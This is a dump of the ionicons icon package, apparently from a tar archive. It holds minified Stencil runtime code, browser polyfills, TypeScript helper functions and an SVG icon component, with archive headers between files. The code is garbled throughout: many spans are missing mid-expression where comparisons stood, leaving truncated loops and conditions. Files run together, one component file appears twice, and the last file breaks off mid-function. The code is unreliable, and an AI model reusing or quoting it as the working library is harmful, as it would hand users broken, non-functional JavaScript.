n.raf||(n.raf=t.requestAnimationFrame.bind(t)),{tick:function(n){c.push(n),1===c.length&&f.then(function(){return r(c)})},read:e(a),write:e(s)}}(l,r),jn:function j(n,t,e){if(n.rn)d(m,t);else{var r=!v.e,i={mode:t.mode,scoped:r};n.Rn(i).then(function(e){try{n.rn=e,function r(n,t,e,i,o){if(i){var u=t.n+(o||O);t[u]||(t[u]=i)}}(0,n,n.t,e.style,e.styleMode)}catch(t){n.rn=function i(){}}d(m,t)})}},dn:!1,V:!1,_:!1,pn:e,en:new WeakMap,u:new WeakMap,mn:new WeakMap,kn:new WeakMap,An:new WeakMap,x:new WeakMap,in:new WeakMap,sn:new WeakMap,tn:new WeakMap,nn:new WeakMap,K:new WeakMap,$n:new WeakMap,Ln:new WeakMap,hn:new WeakMap,on:new WeakMap,J:new Set,yn:[]};l.onReady=function(){return new Promise(function(n){return m.queue.write(function(){return m.J.size?m.yn.push(n):n()})})},m.render=c(m,v);var k=v.i.documentElement;return k["s-ld"]=[],k["s-rn"]=!0,k["s-init"]=function(){m.x.set(k,l.loaded=m.V=!0),v._n(r,"appload",{detail:{namespace:n}})},function $(n,t,e,r,i,o){if(t.componentOnReady=function(t,e){if(!t.nodeName.includes("-"))return e(null),!1;var r=n.s(t);if(r)if(n.x.has(t))e(t);else{var i=n.$n.get(t)||[];i.push(e),n.$n.set(t,i)}return!!r},i){for(o=i.length-1;o>=0;o--)t.componentOnReady(i[o][0],i[o][1])&&i.splice(o,1);for(o=0;o0){var f=i.createElement("style");f.innerHTML=u.join()+"{visibility:hidden}."+o+"{visibility:inherit}",f.setAttribute("data-styles",""),i.head.insertBefore(f,i.head.firstChild)}var c=e.namespace||"ionicons";return q||(q=!0,function a(n,t,e){(n["s-apps"]=n["s-apps"]||[]).push(t),e.componentOnReady||(e.componentOnReady=function t(){function e(t){if(r.nodeName.indexOf("-")>0){for(var e=n["s-apps"],i=0,o=0;o0&&o[o.length-1])&&(6===e[0]||2===e[0])){f=0;continue}if(3===e[0]&&(!o||e[1]>o[0]&&e[1]this.status;this.statusText="statusText"in b?b.statusText:"OK";this.headers=new d(b.headers);this.url=b.url||"";this._initBody(a)}if(!e.fetch){var D="Symbol"in e&&"iterator"in Symbol,m;if(m="FileReader"in e&&"Blob"in e)try{new Blob,m=!0}catch(a){m=!1}var g={searchParams:"URLSearchParams"in e,iterable:D, blob:m,formData:"FormData"in e,arrayBuffer:"ArrayBuffer"in e};if(g.arrayBuffer){var E="[object Int8Array];[object Uint8Array];[object Uint8ClampedArray];[object Int16Array];[object Uint16Array];[object Int32Array];[object Uint32Array];[object Float32Array];[object Float64Array]".split(";");var y=function(a){return a&&DataView.prototype.isPrototypeOf(a)};var z=ArrayBuffer.isView||function(a){return a&&-11?o(r[1]):"")}}}else if(e instanceof t){var a=this;e.forEach(function(e,t){a.append(e,t)})}};var a=t.prototype;a.append=function(e,t){if(e in this._entries){this._entries[e].push(t.toString())}else{this._entries[e]=[t.toString()]}};a.delete=function(e){delete this._entries[e]};a.get=function(e){return e in this._entries?this._entries[e][0]:null};a.getAll=function(e){return e in this._entries?this._entries[e].slice(0):[]};a.has=function(e){return e in this._entries};a.set=function(e,t){this._entries[e]=[t.toString()]};a.forEach=function(e,t){var n;for(var r in this._entries){if(this._entries.hasOwnProperty(r)){n=this._entries[r];for(var i=0;i>>0;if("function"!==typeof c)throw new TypeError("predicate must be a function");for(var a=0;a>>0;if(0===n)return!1;var i,o,a=0|e,u=Math.max(0<=a?a:n-Math.abs(a),0);for(;u= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } export function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } export function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } export function __awaiter(thisArg, _arguments, P, generator) { return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } export function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (_) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } export function __exportStar(m, exports) { for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p]; } export function __values(o) { var m = typeof Symbol === "function" && o[Symbol.iterator], i = 0; if (m) return m.call(o); return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; } export function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } export function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } export function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } export function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; export function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k]; result.default = mod; return result; } export function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; }esm/es5/polyfills/object.js000064400000001306151701353760011655 0ustar00export function applyPolyfill(window, document) {/*! Object.assign */ "function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(d,f){if(null==d)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(d),b=1;bthis.length)a=this.length;return this.substring(a-b.length,a)===b}}); /*! String.prototype.includes */ String.prototype.includes||(String.prototype.includes=function(b,a){"number"!==typeof a&&(a=0);return a+b.length>this.length?!1:-1!==this.indexOf(b,a)}); /*! String.prototype.startsWith */ String.prototype.startsWith||Object.defineProperty(String.prototype,"startsWith",{writable:!0,configurable:!0,value:function(b,a){return this.substr(!a||0>a?0:+a,b.length)===b}});}esm/es5/polyfills/dom.js000064400000033336151701353760011176 0ustar00export function applyPolyfill(window, document) {/*! document-register-element, 1.7.0 https://github.com/WebReflection/document-register-element (C) Andrea Giammarchi - @WebReflection - Mit Style License */ if (!window['s-ce1']) { window['s-ce1'] = true; (function(e,t){"use strict";function Ht(){var e=wt.splice(0,wt.length);Et=0;while(e.length)e.shift().call(null,e.shift())}function Bt(e,t){for(var n=0,r=e.length;n1)&&Zt(this)}}}),ot(u,h,{value:function(e){-1<_.call(a,e)&&o[h].apply(this,arguments)}}),o[d]&&ot(u,p,{value:o[d]}),o[v]&&ot(u,g,{value:o[v]}),i&&(f[c]=i),e=e.toUpperCase(),G[e]={constructor:t,create:i?[i,et(e)]:[e]},Z.set(t,e),n[s](e.toLowerCase(),f),en(e),Y[e].r()}function Gt(e){var t=G[e.toUpperCase()];return t&&t.constructor}function Yt(e){return typeof e=="string"?e:e&&e.is||""}function Zt(e){var t=e[h],n=t?e.attributes:j,r=n.length,i;while(r--)i=n[r],t.call(e,i.name||i.nodeName,null,i.value||i.nodeValue)}function en(e){return e=e.toUpperCase(),e in Y||(Y[e]={},Y[e].p=new K(function(t){Y[e].r=t})),Y[e].p}function tn(){X&&delete e.customElements,B(e,"customElements",{configurable:!0,value:new Kt}),B(e,"CustomElementRegistry",{configurable:!0,value:Kt});for(var t=function(t){var r=e[t];if(r){e[t]=function(t){var i,s;return t||(t=this),t[W]||(Q=!0,i=G[Z.get(t.constructor)],s=V&&i.create.length===1,t=s?Reflect.construct(r,j,i.constructor):n.createElement.apply(n,i.create),t[W]=!0,Q=!1,s||Zt(t)),t},e[t].prototype=r.prototype;try{r.prototype.constructor=e[t]}catch(i){z=!0,B(r,W,{value:e[t]})}}},r=i.get(/^HTML[A-Z]*[a-z]/),o=r.length;o--;t(r[o]));n.createElement=function(e,t){var n=Yt(t);return n?gt.call(this,e,et(n)):gt.call(this,e)},St||(Tt=!0,n[s](""))}var n=e.document,r=e.Object,i=function(e){var t=/^[A-Z]+[a-z]/,n=function(e){var t=[],n;for(n in s)e.test(n)&&t.push(n);return t},i=function(e,t){t=t.toLowerCase(),t in s||(s[e]=(s[e]||[]).concat(t),s[t]=s[t.toUpperCase()]=e)},s=(r.create||r)(null),o={},u,a,f,l;for(a in e)for(l in e[a]){f=e[a][l],s[l]=f;for(u=0;u>0),u="addEventListener",a="attached",f="Callback",l="detached",c="extends",h="attributeChanged"+f,p=a+f,d="connected"+f,v="disconnected"+f,m="created"+f,g=l+f,y="ADDITION",b="MODIFICATION",w="REMOVAL",E="DOMAttrModified",S="DOMContentLoaded",x="DOMSubtreeModified",T="<",N="=",C=/^[A-Z][A-Z0-9]*(?:-[A-Z0-9]+)+$/,k=["ANNOTATION-XML","COLOR-PROFILE","FONT-FACE","FONT-FACE-SRC","FONT-FACE-URI","FONT-FACE-FORMAT","FONT-FACE-NAME","MISSING-GLYPH"],L=[],A=[],O="",M=n.documentElement,_=L.indexOf||function(e){for(var t=this.length;t--&&this[t]!==e;);return t},D=r.prototype,P=D.hasOwnProperty,H=D.isPrototypeOf,B=r.defineProperty,j=[],F=r.getOwnPropertyDescriptor,I=r.getOwnPropertyNames,q=r.getPrototypeOf,R=r.setPrototypeOf,U=!!r.__proto__,z=!1,W="__dreCEv1",X=e.customElements,V=!/^force/.test(t.type)&&!!(X&&X.define&&X.get&&X.whenDefined),$=r.create||r,J=e.Map||function(){var t=[],n=[],r;return{get:function(e){return n[_.call(t,e)]},set:function(e,i){r=_.call(t,e),r<0?n[t.push(e)-1]=i:n[r]=i}}},K=e.Promise||function(e){function i(e){n=!0;while(t.length)t.shift()(e)}var t=[],n=!1,r={"catch":function(){return r},then:function(e){return t.push(e),n&&setTimeout(i,1),r}};return e(i),r},Q=!1,G=$(null),Y=$(null),Z=new J,et=function(e){return e.toLowerCase()},tt=r.create||function sn(e){return e?(sn.prototype=e,new sn):this},nt=R||(U?function(e,t){return e.__proto__=t,e}:I&&F?function(){function e(e,t){for(var n,r=I(t),i=0,s=r.length;i0&&/(\/|\.)/.test(t)?t:null}function isValid(t){if(1===t.nodeType){if("script"===t.nodeName.toLowerCase())return!1;for(var e=0;e=0;o--)"svg"!==r.childNodes[o].nodeName.toLowerCase()&&r.removeChild(r.childNodes[o]);var s=r.firstElementChild;if(s&&"svg"===s.nodeName.toLowerCase()&&(i&&s.setAttribute("class",i),isValid(s)))return r.innerHTML}return""}function createColorClasses(t){var e;return t?((e={"ion-color":!0})["ion-color-"+t]=!0,e):null}export{Icon as IonIcon};esm/es5/build/esckjbl8.entry.js000064400000011742151701353760012343 0ustar00/*! Built with http://stenciljs.com */ import{h}from"../ionicons.core.js";function getName(t,e,i,n){return e=(e||"md").toLowerCase(),i&&"ios"===e?t=i.toLowerCase():n&&"md"===e?t=n.toLowerCase():t&&(t=t.toLowerCase(),/^md-|^ios-|^logo-/.test(t)||(t=e+"-"+t)),"string"!=typeof t||""===t.trim()?null:""!==t.replace(/[a-z]|-|\d/gi,"")?null:t}function getSrc(t){return"string"==typeof t&&(t=t.trim()).length>0&&/(\/|\.)/.test(t)?t:null}function isValid(t){if(1===t.nodeType){if("script"===t.nodeName.toLowerCase())return!1;for(var e=0;e=0;o--)"svg"!==r.childNodes[o].nodeName.toLowerCase()&&r.removeChild(r.childNodes[o]);var s=r.firstElementChild;if(s&&"svg"===s.nodeName.toLowerCase()&&(i&&s.setAttribute("class",i),isValid(s)))return r.innerHTML}return""}function createColorClasses(t){var e;return t?((e={"ion-color":!0})["ion-color-"+t]=!0,e):null}export{Icon as IonIcon};esm/es5/index.js000064400000000026151701353760007477 0ustar00// ionicons: ES Moduleesm/es5/ionicons.core.js000064400000064527151701353760011160 0ustar00/*! * ionicons: Core, es5 * Built with http://stenciljs.com */ function n(n,t){return"sc-"+n.n+(t&&t!==O?"-"+t:"")}function t(n,t){return n+(t?"-h":"-s")}function e(t,e,r,i){var o=r.n+i.mode,u=r[o];if((2===r.t||1===r.t&&!t.r.e)&&(i["s-sc"]=u?n(r,i.mode):n(r)),u||(u=r[o=r.n+O]),u){var f=e.i.head;if(e.e)if(1===r.t)f=i.shadowRoot;else for(var c=i;c=e.o(c);)if(c.host&&c.host.shadowRoot){f=c.host.shadowRoot;break}var a=t.u.get(f);if(a||t.u.set(f,a={}),!a[o]){var s=void 0;if(t.f?s=t.f.c(i,o,u):((s=e.a("style")).innerHTML=u,a[o]=!0),s){var l=f.querySelectorAll("[data-styles]");e.s(f,s,l.length&&l[l.length-1].nextSibling||f.firstChild)}}}}function r(n,t,e,r){void 0===r&&(r="boolean"==typeof e);var i=t!==(t=t.replace(/^xlink\:?/,""));null==e||r&&(!e||"false"===e)?i?n.removeAttributeNS(N,_(t)):n.removeAttribute(t):"function"!=typeof e&&(e=r?"":e.toString(),i?n.setAttributeNS(N,_(t),e):n.setAttribute(t,e))}function i(n,t,e,i,f,c,a){if("class"!==e||c)if("style"===e){for(var s in i)f&&null!=f[s]||(/-/.test(s)?t.style.l(s):t.style[s]="");for(var s in f)i&&f[s]===i[s]||(/-/.test(s)?t.style.setProperty(s,f[s]):t.style[s]=f[s])}else if("o"!==e[0]||"n"!==e[1]||!/[A-Z]/.test(e[2])||e in t)if("list"!==e&&"type"!==e&&!c&&(e in t||-1!==["object","function"].indexOf(typeof f)&&null!==f)){var l=n.v(t);l&&l.p&&l.p[e]?(u(t,e,f),a&&l.p[e].d&&r(t,l.p[e].y,f,4===l.p[e].m)):"ref"!==e&&(u(t,e,null==f?"":f),null!=f&&!1!==f||n.r.b(t,e))}else null!=f&&"key"!==e?r(t,e,f):(c||n.r.w(t,e)&&(null==f||!1===f))&&n.r.b(t,e);else e=_(e)in t?_(e.substring(2)):_(e[2])+e.substring(3),f?f!==i&&n.r.g(t,e,f):n.r.M(t,e);else if(i!==f){var v=o(i),p=o(f),d=v.filter(function(n){return!p.includes(n)}),h=o(t.className).filter(function(n){return!d.includes(n)}),y=p.filter(function(n){return!v.includes(n)&&!h.includes(n)});h.push.apply(h,y),t.className=h.join(" ")}}function o(n){return null==n||""===n?[]:n.trim().split(/\s+/)}function u(n,t,e){try{n[t]=e}catch(n){}}function f(n,t,e,r,o){var u=11===e.j.nodeType&&e.j.host?e.j.host:e.j,f=t&&t.vattrs||S,c=e.vattrs||S;for(o in f)c&&null!=c[o]||null==f[o]||i(n,u,o,f[o],void 0,r,e.k);for(o in c)o in f&&c[o]===("value"===o||"checked"===o?u[o]:f[o])||i(n,u,o,f[o],c[o],r,e.k)}function c(n,t){function e(i,o,u,c,a,v,m,b,w){if(b=o.vchildren[u],s||(p=!0,"slot"===b.vtag&&(l&&t.A(c,l+"-s"),b.vchildren?b.C=!0:b.O=!0)),P(b.vtext))b.j=t.S(b.vtext);else if(b.O)b.j=t.S("");else{if(v=b.j=R||"svg"===b.vtag?t.x("http://www.w3.org/2000/svg",b.vtag):t.a(b.C?"slot-fb":b.vtag),n.P(v)&&n._.delete(y),R="svg"===b.vtag||"foreignObject"!==b.vtag&&R,f(n,null,b,R),P(l)&&v["s-si"]!==l&&t.A(v,v["s-si"]=l),b.vchildren)for(a=0;a=0;o--)(u=f[o])["s-hn"]!==h&&u["s-ol"]&&(t.R(u),t.s(a(u),u,c(u)),t.R(u["s-ol"]),u["s-ol"]=null,p=!0),i&&r(u,i);n.W=!1}function i(n,r,i,o,u,f,a,s){var l=n["s-cr"];for((a=l&&t.o(l)||n).shadowRoot&&t.L(a)===h&&(a=a.shadowRoot);u<=f;++u)o[u]&&(s=P(o[u].vtext)?t.S(o[u].vtext):e(null,i,u,n))&&(o[u].j=s,t.s(a,s,c(r)))}function o(n,e,i,o){for(;e<=i;++e)P(n[e])&&(o=n[e].j,v=!0,o["s-ol"]?t.R(o["s-ol"]):r(o,!0),t.R(o))}function u(n,t){return n.vtag===t.vtag&&n.vkey===t.vkey&&("slot"!==n.vtag||n.vname===t.vname)}function c(n){return n&&n["s-ol"]?n["s-ol"]:n}function a(n){return t.o(n["s-ol"]?n["s-ol"]:n)}var s,l,v,p,d,h,y,m=[];return function b(w,g,M,j,k,$,A,E,C,O,S,x){if(y=w,h=t.L(y),d=y["s-cr"],s=j,l=y["s-sc"],p=v=!1,function s(l,v,p){var d=v.j=l.j,h=l.vchildren,y=v.vchildren;R=v.j&&P(t.D(v.j))&&void 0!==v.j.ownerSVGElement,R="svg"===v.vtag||"foreignObject"!==v.vtag&&R,P(v.vtext)?(p=d["s-cr"])?t.F(t.o(p),v.vtext):l.vtext!==v.vtext&&t.F(d,v.vtext):("slot"!==v.vtag&&f(n,l,v,R),P(h)&&P(y)?function m(n,f,l,v,p,d,h,y){for(var m=0,b=0,w=f.length-1,g=f[0],M=f[w],j=v.length-1,k=v[0],$=v[j];m<=w&&b<=j;)if(null==g)g=f[++m];else if(null==M)M=f[--w];else if(null==k)k=v[++b];else if(null==$)$=v[--j];else if(u(g,k))s(g,k),g=f[++m],k=v[++b];else if(u(M,$))s(M,$),M=f[--w],$=v[--j];else if(u(g,$))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(g.j)),s(g,$),t.s(n,g.j,t.H(M.j)),g=f[++m],$=v[--j];else if(u(M,k))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(M.j)),s(M,k),t.s(n,M.j,g.j),M=f[--w],k=v[++b];else{for(p=null,d=m;d<=w;++d)if(f[d]&&P(f[d].vkey)&&f[d].vkey===k.vkey){p=d;break}P(p)?((y=f[p]).vtag!==k.vtag?h=e(f&&f[b],l,p,n):(s(y,k),f[p]=void 0,h=y.j),k=v[++b]):(h=e(f&&f[b],l,b,n),k=v[++b]),h&&t.s(a(g.j),h,c(g.j))}m>w?i(n,null==v[j+1]?null:v[j+1].j,l,v,b,j):b>j&&o(f,m,w)}(d,h,v,y):P(y)?(P(l.vtext)&&t.F(d,""),i(d,null,v,y,0,y.length-1)):P(h)&&o(h,0,h.length-1)),R&&"svg"===v.vtag&&(R=!1)}(g,M),p){for(function n(e,r,i,o,u,f,c,a,s,l){for(u=0,f=(r=t.N(e)).length;u=0;c--)(o=a[c])["s-cn"]||o["s-nr"]||o["s-hn"]===i["s-hn"]||((3===(l=t.q(o))||8===l)&&""===s||1===l&&null===t.U(o,"slot")&&""===s||1===l&&t.U(o,"slot")===s)&&(m.some(function(n){return n.B===o})||(v=!0,o["s-sn"]=s,m.push({I:i,B:o})));1===t.q(i)&&n(i)}}(M.j),A=0;A2;)L.push(arguments[f]);for(;L.length>0;){var c=L.pop();if(c&&void 0!==c.pop)for(f=c.length;f--;)L.push(c[f]);else"boolean"==typeof c&&(c=null),(u="function"!=typeof n)&&(null==c?c="":"number"==typeof c?c=String(c):"string"!=typeof c&&(u=!1)),u&&o?i[i.length-1].vtext+=c:null===i?i=[u?{vtext:c}:c]:i.push(u?{vtext:c}:c),o=u}if(null!=t){if(t.className&&(t.class=t.className),"object"==typeof t.class){for(f in t.class)t.class[f]&&L.push(f);t.class=L.join(" "),L.length=0}null!=t.key&&(e=t.key),null!=t.name&&(r=t.name)}return"function"==typeof n?n(t,i||[],D):{vtag:n,vchildren:i,vtext:void 0,vattrs:t,vkey:e,vname:r,j:void 0,k:!1}}function l(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}function v(n){return{Y:n[0],Z:n[1],z:!!n[2],J:!!n[3],K:!!n[4]}}function p(n,t){if(P(t)&&"object"!=typeof t&&"function"!=typeof t){if(n===Boolean||4===n)return"false"!==t&&(""===t||!!t);if(n===Number||8===n)return parseFloat(t);if(n===String||2===n)return t.toString()}return t}function d(n,t){n.V.add(t),n.X.has(t)||(n.X.set(t,!0),n.nn?n.queue.write(function(){return h(n,t)}):n.queue.tick(function(){return h(n,t)}))}function h(n,e,r,i,o){return $(this,void 0,void 0,function(){var r,u;return A(this,function(f){switch(f.tn){case 0:if(n.X.delete(e),n.en.has(e))return[3,12];if(i=n.rn.get(e))return[3,6];if((o=n.in.get(e))&&!o["s-rn"])return(o["s-rc"]=o["s-rc"]||[]).push(function(){h(n,e)}),[2];if(!(i=function c(n,t,e,r,i,o,u){try{r=new(i=n.v(t).on),function f(n,t,e,r,i){n.un.set(r,e),n.fn.has(e)||n.fn.set(e,{}),Object.entries(Object.assign({color:{type:String}},t.properties,{mode:{type:String}})).forEach(function(t){var o=t[0],u=t[1];(function f(n,t,e,r,i,o,u,c){if(t.type||t.state){var a=n.fn.get(e);t.state||(!t.attr||void 0!==a[i]&&""!==a[i]||(u=o&&o.cn)&&P(c=u[t.attr])&&(a[i]=p(t.type,c)),e.hasOwnProperty(i)&&(void 0===a[i]&&(a[i]=p(t.type,e[i])),"mode"!==i&&delete e[i])),r.hasOwnProperty(i)&&void 0===a[i]&&(a[i]=r[i]),t.watchCallbacks&&(a[F+i]=t.watchCallbacks.slice()),b(r,i,function s(t){return(t=n.fn.get(n.un.get(this)))&&t[i]},function l(e,r){(r=n.un.get(this))&&(t.state||t.mutable)&&y(n,r,i,e)})}else if(t.elementRef)m(r,i,e);else if(t.context){var v=n.an(t.context);void 0!==v&&m(r,i,v.sn&&v.sn(e)||v)}})(n,u,e,r,o,i)})}(n,i,t,r,e)}catch(e){r={},n.ln(e,7,t,!0)}return n.rn.set(t,r),r}(n,e,n.vn.get(e))))return[3,5];f.tn=1;case 1:return f.pn.push([1,4,,5]),i.componentWillLoad?[4,i.componentWillLoad()]:[3,3];case 2:f.dn(),f.tn=3;case 3:return[3,5];case 4:return r=f.dn(),n.ln(r,3,e),[3,5];case 5:return[3,11];case 6:if(!i)return[3,11];f.tn=7;case 7:return f.pn.push([7,10,,11]),i.componentWillUpdate?[4,i.componentWillUpdate()]:[3,9];case 8:f.dn(),f.tn=9;case 9:return[3,11];case 10:return u=f.dn(),n.ln(u,5,e),[3,11];case 11:(function a(n,e,r,i){try{var o,u=e.on.host,f=e.on.encapsulation,c="shadow"===f&&n.r.e,a=r;if(o=function l(n,t,e){return n&&Object.keys(n).forEach(function(r){n[r].reflectToAttr&&((e=e||{})[r]=t[r])}),e}(e.on.properties,i),c&&(a=r.shadowRoot),!r["s-rn"]){n.hn(n,n.r,e,r);var v=r["s-sc"];v&&(n.r.A(r,t(v,!0)),"scoped"===f&&n.r.A(r,t(v)))}if(i.render||i.hostData||u||o){n.yn=!0;var p=i.render&&i.render(),d=void 0;d=i.hostData&&i.hostData(),o&&(d=d?Object.assign(d,o):o),n.yn=!1;var h=n.mn.get(r)||{};h.j=a;var y=s(null,d,p);y.k=!0,n.mn.set(r,n.render(r,h,y,c,f))}n.f&&n.f.bn(r),r["s-rn"]=!0,r["s-rc"]&&(r["s-rc"].forEach(function(n){return n()}),r["s-rc"]=null)}catch(t){n.yn=!1,n.ln(t,8,r,!0)}})(n,n.v(e),e,i),e["s-init"](),f.tn=12;case 12:return[2]}})})}function y(n,t,e,r,i){var o=n.fn.get(t);o||n.fn.set(t,o={});var u=o[e];if(r!==u&&(o[e]=r,i=n.rn.get(t))){var f=o[F+e];if(f)for(var c=0;c-1&&r.splice(e,1),r.length||i["s-init"]&&i["s-init"]()),n.in.delete(t)),n.wn.length&&!n.V.size)for(;o=n.wn.shift();)o()}function g(n,t,e,r){if(e.connectedCallback=function(){(function e(n,t,r){n.en.delete(r),n.gn.has(r)||(n.V.add(r),n.gn.set(r,!0),r["s-id"]||(r["s-id"]=n.Mn()),function i(n,t,e){for(e=t;e=n.r.D(e);)if(n.P(e)){n._.has(t)||(n.in.set(t,e),(e["s-ld"]=e["s-ld"]||[]).push(t));break}}(n,r),n.queue.tick(function(){n.vn.set(r,function e(n,t,r,i,o){return r.mode||(r.mode=n.jn(r)),r["s-cr"]||n.U(r,C)||n.e&&1===t.t||(r["s-cr"]=n.S(""),r["s-cr"]["s-cn"]=!0,n.s(r,r["s-cr"],n.N(r)[0])),n.e||1!==t.t||(r.shadowRoot=r),1===t.t&&n.e&&!r.shadowRoot&&n.kn(r,{mode:"open"}),i={$n:r["s-id"],cn:{}},t.p&&Object.keys(t.p).forEach(function(e){(o=t.p[e].y)&&(i.cn[o]=n.U(r,o))}),i}(n.r,t,r)),n.An(t,r)}))})(n,t,this)},e.disconnectedCallback=function(){(function t(n,e){if(!n.W&&function r(n,t){for(;t;){if(!n.o(t))return 9!==n.q(t);t=n.o(t)}}(n.r,e)){n.en.set(e,!0),w(n,e),a(n.mn.get(e),!0),n.r.M(e),n.En.delete(e);var i=n.rn.get(e);i&&i.componentDidUnload&&i.componentDidUnload(),n.f&&n.f.Cn(e),[n.in,n.On,n.vn].forEach(function(n){return n.delete(e)})}})(n,this)},e["s-init"]=function(){(function t(n,e,r,i,o,u){if(n.rn.get(e)&&!n.en.has(e)&&(!e["s-ld"]||!e["s-ld"].length)){n._.set(e,!0),n.Sn.has(e)||(n.Sn.set(e,!0),e["s-ld"]=void 0,n.r.A(e,r));try{a(n.mn.get(e)),(o=n.On.get(e))&&(o.forEach(function(n){return n(e)}),n.On.delete(e))}catch(t){n.ln(t,4,e)}w(n,e)}})(n,this,r)},e.forceUpdate=function(){d(n,this)},t.p){var i=Object.entries(t.p),o={};i.forEach(function(n){var t=n[0],e=n[1].y;e&&(o[e]=t)}),o=Object.assign({},o),e.attributeChangedCallback=function(n,t,e){(function r(n,t,e,i){var o=n[_(e)];o&&(t[o]=i)})(o,this,n,e)},function u(n,t,e){t.forEach(function(t){var r=t[0],i=t[1],o=i.xn;3&o?b(e,r,function t(){return(n.fn.get(this)||{})[r]},function t(e){y(n,this,r,p(i.m,e))}):32===o&&m(e,r,W)})}(n,i,e)}}function M(n,t,e,r){return function(){var i=arguments;return function o(n,t,e){var r=t[e],i=n.i.body;return i?(r||(r=i.querySelector(e)),r||(r=t[e]=n.a(e),n.T(i,r)),r.componentOnReady()):Promise.resolve()}(n,t,e).then(function(n){return n[r].apply(n,i)})}}function j(n,t,r,i,o,u){var f={html:{}},a={},l=r[n]=r[n]||{},v=function p(n,t,e){n.ael||(n.ael=function(n,t,e,r){return n.addEventListener(t,e,r)},n.rel=function(n,t,e,r){return n.removeEventListener(t,e,r)});var r=new WeakMap;"function"!=typeof t.CustomEvent&&(t.CustomEvent=function(n,t,r){return(r=e.createEvent("CustomEvent")).initCustomEvent(n,t.bubbles,t.cancelable,t.detail),r},t.CustomEvent.prototype=t.Event.prototype);var i={i:e,e:!!e.documentElement.attachShadow,Pn:!1,q:function(n){return n.nodeType},a:function(n){return e.createElement(n)},x:function(n,t){return e.createElementNS(n,t)},S:function(n){return e.createTextNode(n)},_n:function(n){return e.createComment(n)},s:function(n,t,e){return n.insertBefore(t,e)},R:function(n){return n.remove()},T:function(n,t){return n.appendChild(t)},A:function(n,t){if(n.classList)n.classList.add(t);else if("svg"===n.nodeName.toLowerCase()){var e=n.getAttribute("class")||"";e.split(" ").includes(t)||(e+=" "+t),n.setAttribute("class",e.trim())}},N:function(n){return n.childNodes},o:function(n){return n.parentNode},H:function(n){return n.nextSibling},G:function(n){return n.previousSibling},L:function(n){return _(n.nodeName)},Q:function(n){return n.textContent},F:function(n,t){return n.textContent=t},U:function(n,t){return n.getAttribute(t)},Tn:function(n,t,e){return n.setAttribute(t,e)},Wn:function(n,t,e,r){return n.setAttributeNS(t,e,r)},b:function(n,t){return n.removeAttribute(t)},w:function(n,t){return n.hasAttribute(t)},jn:function(t){return t.getAttribute("mode")||(n.Context||{}).mode},Nn:function(n,r){return"child"===r?n.firstElementChild:"parent"===r?i.D(n):"body"===r?e.body:"document"===r?e:"window"===r?t:n},g:function(t,e,o,u,f,c,a,s){var l=e,v=t,p=r.get(t);if(p&&p[l]&&p[l](),"string"==typeof c?v=i.Nn(t,c):"object"==typeof c?v=c:(s=e.split(":")).length>1&&(v=i.Nn(t,s[0]),e=s[1]),v){var d=o;(s=e.split(".")).length>1&&(e=s[0],d=function(n){n.keyCode===x[s[1]]&&o(n)}),a=i.Pn?{capture:!!u,passive:!!f}:!!u,n.ael(v,e,d,a),p||r.set(t,p={}),p[l]=function(){v&&n.rel(v,e,d,a),p[l]=null}}},M:function(n,t){var 